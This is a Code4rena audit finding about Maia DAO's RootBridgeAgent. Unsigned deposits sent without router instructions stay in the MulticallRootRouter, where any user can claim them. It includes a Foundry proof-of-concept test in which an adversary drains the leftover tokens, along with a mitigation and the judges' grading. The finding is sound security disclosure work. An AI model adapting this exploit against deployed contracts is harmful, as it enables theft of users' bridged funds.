Not signed deposits to the RootBridgeAgent can be stolen if they miss Router instructions.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L82-L106

Vulnerability details

Impact

If an unsigned deposit is bridged without instruction params the assets are bridged to the MulticallRouter and can be stolen by another user.

Proof Of Concept

For the Deposit flags 0x02 & 0x03 corresponding to bridging out assets without a Virtual Account as a receiver, the receiver is the MulticallRouter. The problem is that if a user hasn't specified params for further execution executeWithDeposit doesn't revert which means the bridged assets remain in the MulticallRootRouter. At that point an adversary can send a message from a Branch Chain (0x01 flag) & Output params that correspond the to the left assets and steal them.

function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        // Read Deposit Params
        DepositParams memory dParams = DepositParams({
            depositNonce: uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])),
            hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START:PARAMS_TKN_START_SIGNED]))),
            token: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))),
            amount: uint256(bytes32(_payload[45:77])),
            deposit: uint256(bytes32(_payload[77:PARAMS_TKN_SET_SIZE]))
        });

        // Bridge In Assets
        _bridgeIn(_router, dParams, _srcChainId);

        // Check if there is additional calldata in the payload
        if (_payload.length > PARAMS_TKN_SET_SIZE) {
            //Execute remote request
            IRouter(_router).executeDepositSingle{value: msg.value}(
                _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
            );
        }
    }

Coded POC

1. Place the following test in RootTest contract inside RooTest.t.sol
2. Run the test with forge test --match-test testEmptyInstructionsGrief -vv

Output - logs that an adversary user stole assets from the MulticallRouter that were there because of missing instructions from an innocent user's Bridge Out.

function testEmptyInstructionsGrief() public {
        testAddLocalTokenArbitrum();

        // Innocent user
        address user = address(0x7777);

        // Get some avax underlying assets
        avaxMockAssetToken.mint(user, 100 ether);

        hevm.deal(user, 1 ether);

        DepositInput memory depositInput = DepositInput({
            hToken: avaxMockAssethToken,
            token: address(avaxMockAssetToken),
            amount: 100 ether,
            deposit: 100 ether
        });

        GasParams memory gasParams = GasParams({
            gasLimit: 0.5 ether,
            remoteBranchExecutionGas: 0.5 ether
        });

        // empty instructions for the router
        bytes memory packedData = abi.encodePacked("");

        // start prank from innocent user
        hevm.startPrank(user);

        // bridge out assets
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        avaxMulticallBridgeAgent.callOutAndBridge{value: 1 ether}(
            payable(user), packedData, depositInput, gasParams
        );

        // Inspect the Root router balance
        console2.log("Root router balance before", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter)));

        hevm.stopPrank();

        // Adversary user
        address adversary = address(0x1111);

        hevm.deal(adversary, 1 ether);

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            // Mock Omnichain dApp call
            calls[0] = Multicall2.Call({
                target: newArbitrumAssetGlobalAddress,
                callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 0 ether)
        });

        // Specifies output params that correspond to the left assets in the Root Router

        OutputParams memory outputParams = OutputParams(adversary, newAvaxAssetGlobalAddress, 100 ether, 100 ether);       

        bytes memory stealData = abi.encode(calls, outputParams, avaxChainId);

        bytes memory finalizedData = abi.encodePacked(bytes1(0x02), stealData);

        // Send malicious message
        hevm.startPrank(adversary);

        avaxMulticallBridgeAgent.callOut{value: 1 ether}(
            payable(adversary), finalizedData, gasParams
        );

        // Inspect router & adversary avax balance
        console2.log("Root router balance after", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter)));
        console2.log("Adversary mock avax token balance after", avaxMockAssetToken.balanceOf(adversary));
    }

Tools Used

Manual Inspection Foundry

Recommended Mitigation Steps

If an unsigned bridge is performed (0x02, 0x03 flags) revert the execution on the RootBridgeAgent if there are no params instructions for the MulticallRootRouter

Assessed type

Context

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #685

[c4-pre-sort]

0xA5DF marked the issue as sufficient quality report

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as grade-a